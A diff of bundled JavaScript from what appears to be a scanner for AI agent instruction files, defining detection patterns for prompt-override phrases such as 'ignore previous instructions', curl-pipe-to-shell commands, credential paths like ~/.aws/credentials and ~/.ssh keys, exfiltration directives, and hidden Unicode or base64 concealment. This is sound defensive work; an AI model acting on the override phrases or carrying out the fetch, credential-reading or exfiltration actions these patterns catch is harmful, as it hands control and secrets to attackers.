if (isZwLegitScript(text.codePointAt(i - 1)) || isZwLegitScript(text.codePointAt(i + 1)))
|
|
60127
|
-
continue;
|
|
60128
|
-
const prev = text[i - 1];
|
|
60129
|
-
const next = text[i + 1];
|
|
60130
|
-
if (!prev || !next || /\s/.test(prev) || /\s/.test(next)) continue;
|
|
60131
|
-
if (isAsciiWordChar(prev) && isAsciiWordChar(next)) n++;
|
|
60132
|
-
}
|
|
60133
|
-
return n;
|
|
60134
|
-
}
|
|
60135
|
-
var stripZeroWidth = (t) => t.replace(/[]/g, "");
|
|
60136
|
-
var OVERRIDE_RE = /ignore\s+(all\s+)?(previous|prior|the\s+above)\s+(instructions|prompts?|rules)|disregard\s+(the\s+|your\s+)?(system\s+)?(prompt|instructions|rules)|forget\s+(everything|all\s+(previous|prior))|you\s+are\s+now\s+(a|an|the)\b|<\/?system>/i;
|
|
60137
|
-
var FETCH_OBEY_RE = /\b(curl|wget|iwr|invoke-webrequest)\b[^\n|]*\|\s*(bash|sh|zsh|python3?|node|iex)\b|\b(curl|wget)\b[^\n]*&&[^\n]*\b(bash|sh)\b/i;
|
|
60138
|
-
var SECRET_PATH_RE = /~\/\.aws\/credentials|~\/\.ssh\/id_[a-z]+|~\/\.config\/gh\/hosts|read\s+the\s+(token|secret|api[_ ]?key|password)\s+(in|from)\s+[.`'"]?\.?env/i;
|
|
60139
|
-
var EXFIL_RE = /\b(post|send|upload|exfiltrate|forward)\b[^\n]{0,40}\b(to|at)\b[^\n]{0,50}(https?:\/\/|webhook|hook\.[a-z])/i;
|
|
60140
|
-
var HUMAN_SECTION_RE = /^#+\s*(install|installation|setup|set ?up|getting started|quick ?start|contributing|contribution|development|dev setup|build|prerequisites|requirements|usage)\b/i;
|
|
60141
|
-
var NEGATION_RE = /\b(never|do not|don'?t|avoid|must not|should not|no need to|refuse to)\b/i;
|
|
60142
|
-
function isNegated(text, idx) {
|
|
60143
|
-
return NEGATION_RE.test(text.slice(Math.max(0, idx - 40), idx));
|
|
60144
|
-
}
|
|
60145
|
-
function inHumanSection(text, idx) {
|
|
60146
|
-
const heading = text.slice(0, idx).split("\n").reverse().find((l) => /^#+\s/.test(l));
|
|
60147
|
-
return !!heading && HUMAN_SECTION_RE.test(heading);
|
|
60148
|
-
}
|
|
60149
|
-
function decodeSuspiciousBase64(text) {
|
|
60150
|
-
let out = "";
|
|
60151
|
-
for (const m of text.matchAll(/[A-Za-z0-9+/]{40,}={0,2}/g)) {
|
|
60152
|
-
try {
|
|
60153
|
-
const d = Buffer.from(m[0], "base64").toString("utf8");
|
|
60154
|
-
if (/[\x20-\x7E]{16,}/.test(d) && /[a-z]{4,}/i.test(d)) out += " " + d;
|
|
60155
|
-
} catch {
|
|
60156
|
-
}
|
|
60157
|
-
}
|
|
60158
|
-
return out;
|
|
60159
|
-
}
|
|
60160
|
-
function mk(rule, severity, title, signals, fix, path79) {
|
|
60161
|
-
return {
|
|
60162
|
-
check: "CI-6",
|
|
60163
|
-
rule,
|
|
60164
|
-
dimension: "instructions",
|
|
60165
|
-
severity,
|
|
60166
|
-
title,
|
|
60167
|
-
file: path79,
|
|
60168
|
-
signals,
|
|
60169
|
-
fix
|
|
60170
|
-
};
|
|
60171
|
-
}
|
|
60172
|
-
function analyzeInstructionFile(path79, content) {
|
|
60173
|
-
const findings = [];
|
|
60174
|
-
const decoded = decodeSuspiciousBase64(content);
|
|
60175
|
-
if (TAG_CHARS.test(content))
|
|
60176
|
-
findings.push(
|
|
60177
|
-
mk(
|
|
60178
|
-
"CI-6.unicode-tag-chars",
|
|
60179
|
-
"critical",
|
|
60180
|
-
"Unicode tag characters in an agent instruction file",
|
|
60181
|
-
[
|
|
60182
|
-
"contains Unicode tag characters (U+E0000\u2013E007F) \u2014 an invisible instruction-smuggling channel with no legitimate use in text"
|
|
60183
|
-
],
|
|
60184
|
-
"Remove the tag characters. Instruction files must be plain, reviewable text.",
|
|
60185
|
-
path79
|
|
60186
|
-
)
|
|
60187
|
-
);
|
|
60188
|
-
if (BIDI_OVERRIDE.test(content))
|
|
60189
|
-
findings.push(
|
|
60190
|
-
mk(
|
|
60191
|
-
"CI-6.bidi-override",
|
|
60192
|
-
"critical",
|
|
60193
|
-
"Bidirectional override characters in an agent instruction file",
|
|
60194
|
-
[
|
|
60195
|
-
"contains a bidi override (U+202D/U+202E) \u2014 a Trojan-Source technique that visually reorders text so a human reads something different from what the agent parses"
|
|
60196
|
-
],
|
|
60197
|
-
"Remove the bidi override characters.",
|
|
60198
|
-
path79
|
|
60199
|
-
)
|
|
60200
|
-
);
|
|
60201
|
-
else if (BIDI_EMBED_ISOLATE.test(content))
|
|
60202
|
-
findings.push(
|
|
60203
|
-
mk(
|
|
60204
|
-
"CI-6.bidi-formatting",
|
|
60205
|
-
"advisory",
|
|
60206
|
-
"Bidirectional formatting characters in an agent instruction file",
|
|
60207
|
-
[
|
|
60208
|
-
"contains bidi embed/isolate characters (U+202A\u2013202C / U+2066\u20132069) \u2014 legitimate in right-to-left text, but confirm they are not being used to hide or reorder instructions"
|
|
60209
|
-
],
|
|
60210
|
-
"Confirm the bidi marks are legitimate RTL formatting; remove otherwise.",
|
|
60211
|
-
path79
|
|
60212
|
-
)
|
|
60213
|
-
);
|
|
60214
|
-
const zw = suspiciousZeroWidth(content);
|
|
60215
|
-
if (zw > 0) {
|
|
60216
|
-
const revealed = OVERRIDE_RE.test(stripZeroWidth(content)) && !OVERRIDE_RE.test(content);
|
|
60217
|
-
findings.push(
|
|
60218
|
-
mk(
|
|
60219
|
-
"CI-6.zero-width",
|
|
60220
|
-
revealed ? "critical" : "medium",
|
|
60221
|
-
"Zero-width characters splitting text in an agent instruction file",
|
|
60222
|
-
[
|
|
60223
|
-
revealed ? "a zero-width character conceals a prompt-override directive that only appears once the hidden characters are stripped" : "a zero-width character splits a visible Latin word \u2014 a concealment technique (hides text from human review while the agent reads it as contiguous)"
|
|
60224
|
-
],
|
|
60225
|
-
"Remove the zero-width characters. Instruction files must be plain, reviewable text.",
|
|
60226
|
-
path79
|
|
60227
|
-
)
|
|
60228
|
-
);
|
|
60229
|
-
}
|
|
60230
|
-
const ov = OVERRIDE_RE.exec(content);
|
|
60231
|
-
const ovEnc = !ov ? OVERRIDE_RE.exec(decoded) : null;
|
|
60232
|
-
if (ov || ovEnc) {
|
|
60233
|
-
const m = ov || ovEnc;
|
|
60234
|
-
findings.push(
|
|
60235
|
-
mk(
|
|
60236
|
-
"CI-6.prompt-override",
|
|
60237
|
-
ovEnc ? "critical" : "high",
|
|
60238
|
-
"Prompt-override directive in an agent instruction file",
|
|
60239
|
-
[
|
|
60240
|
-
`contains a prompt-override / role-impersonation directive (\`${m[0].slice(0, 60).trim()}\`)${ovEnc ? " \u2014 concealed in a base64 blob" : ""}`
|
|
60241
|
-
],
|
|
60242
|
-
"Remove the override text. An instruction file should not tell the agent to ignore its own rules.",
|
|
60243
|
-
path79
|
|
60244
|
-
)
|
|
60245
|
-
);
|
|
60246
|
-
}
|
|
60247
|
-
const fo = FETCH_OBEY_RE.exec(content);
|
|
60248
|
-
if (fo && !inHumanSection(content, fo.index) && !isNegated(content, fo.index)) {
|
|
60249
|
-
findings.push(
|
|
60250
|
-
mk(
|
|
60251
|
-
"CI-6.fetch-and-obey",
|
|
60252
|
-
"medium",
|
|
60253
|
-
"Instruction directs the agent to fetch and run remote code",
|
|
60254
|
-
[`\`${fo[0].slice(0, 70).trim()}\` \u2014 fetch-and-obey, outside an install/setup section`],
|
|
60255
|
-
"Do not instruct the agent to pipe remote content into a shell; pin and vendor scripts instead.",
|
|
60256
|
-
path79
|
|
60257
|
-
)
|
|
60258
|
-
);
|
|
60259
|
-
}
|
|
60260
|
-
const sp = SECRET_PATH_RE.exec(content);
|
|
60261
|
-
if (sp && !isNegated(content, sp.index)) {
|
|
60262
|
-
findings.push(
|
|
60263
|
-
mk(
|
|
60264
|
-
"CI-6.secret-path",
|
|
60265
|
-
"medium",
|
|
60266
|
-
"Instruction points the agent at credential material",
|
|
60267
|
-
[`references \`${sp[0].slice(0, 50).trim()}\` \u2014 directs the agent toward secrets`],
|
|
60268
|
-
"Do not reference credential files or paths in agent instructions.",
|
|
60269
|
-
path79
|
|
60270
|
-
)
|
|
60271
|
-
);
|
|
60272
|
-
}
|
|
60273
|
-
const ex = EXFIL_RE.exec(content);
|
|
60274
|
-
if (ex && !inHumanSection(content, ex.index) && !isNegated(content, ex.index)) {
|
|
60275
|
-
findings.push(
|
|
60276
|
-
mk(
|
|
60277
|
-
"CI-6.exfil-directive",
|
|
60278
|
-
"medium",
|
|
60279
|
-
"Instruction directs the agent to send data to an external endpoint",
|
|
60280
|
-
[`\`${ex[0].slice(0, 70).trim()}\` \u2014 possible exfiltration directive`],
|
|
60281
|
-
"Remove external post/upload directives from agent instructions.",
|
|
60282
|
-
path79
|
|
60283
|
-
)
|
|
60284
|
-
);
|
|
60285
|
-
}
|
|
60286
|
-
return findings;
|
|
60287
|
-
}
|
|
60288
|
-
|
|
60289
60404
|
// src/ci-check/diff.ts
|
|
60290
60405
|
import { createHash as createHash4 } from "crypto";
|
|
60291
60406
|
function fingerprintOf(f) {
|
|
@@ -60372,6 +60487,7 @@ function scanTree(tree) {
|
|
|
60372
60487
|
const findings = [];
|
|
60373
60488
|
const inspected = [];
|
|
60374
60489
|
const notes = [...tree.notes];
|
|
60490
|
+
const skillDirs = skillDirsOf(tree.files.map((f) => f.path));
|
|
60375
60491
|
for (const file of tree.files) {
|
|
60376
60492
|
inspected.push(file.path);
|
|
60377
60493
|
try {
|
|
@@ -60386,9 +60502,7 @@ function scanTree(tree) {
|
|
|
60386
60502
|
findings.push(...analyzeMcp(file.path, file.content));
|
|
60387
60503
|
} else if (/(^|\/)\.codex\/config\.toml$/.test(file.path)) {
|
|
60388
60504
|
findings.push(...analyzeCodexConfig(file.path, file.content));
|
|
60389
|
-
} else if (
|
|
60390
|
-
file.path
|
|
60391
|
-
)) {
|
|
60505
|
+
} else if (isInstructionFile(file.path, skillDirs)) {
|
|
60392
60506
|
findings.push(...analyzeInstructionFile(file.path, file.content));
|
|
60393
60507
|
}
|
|
60394
60508
|
} catch (err2) {
|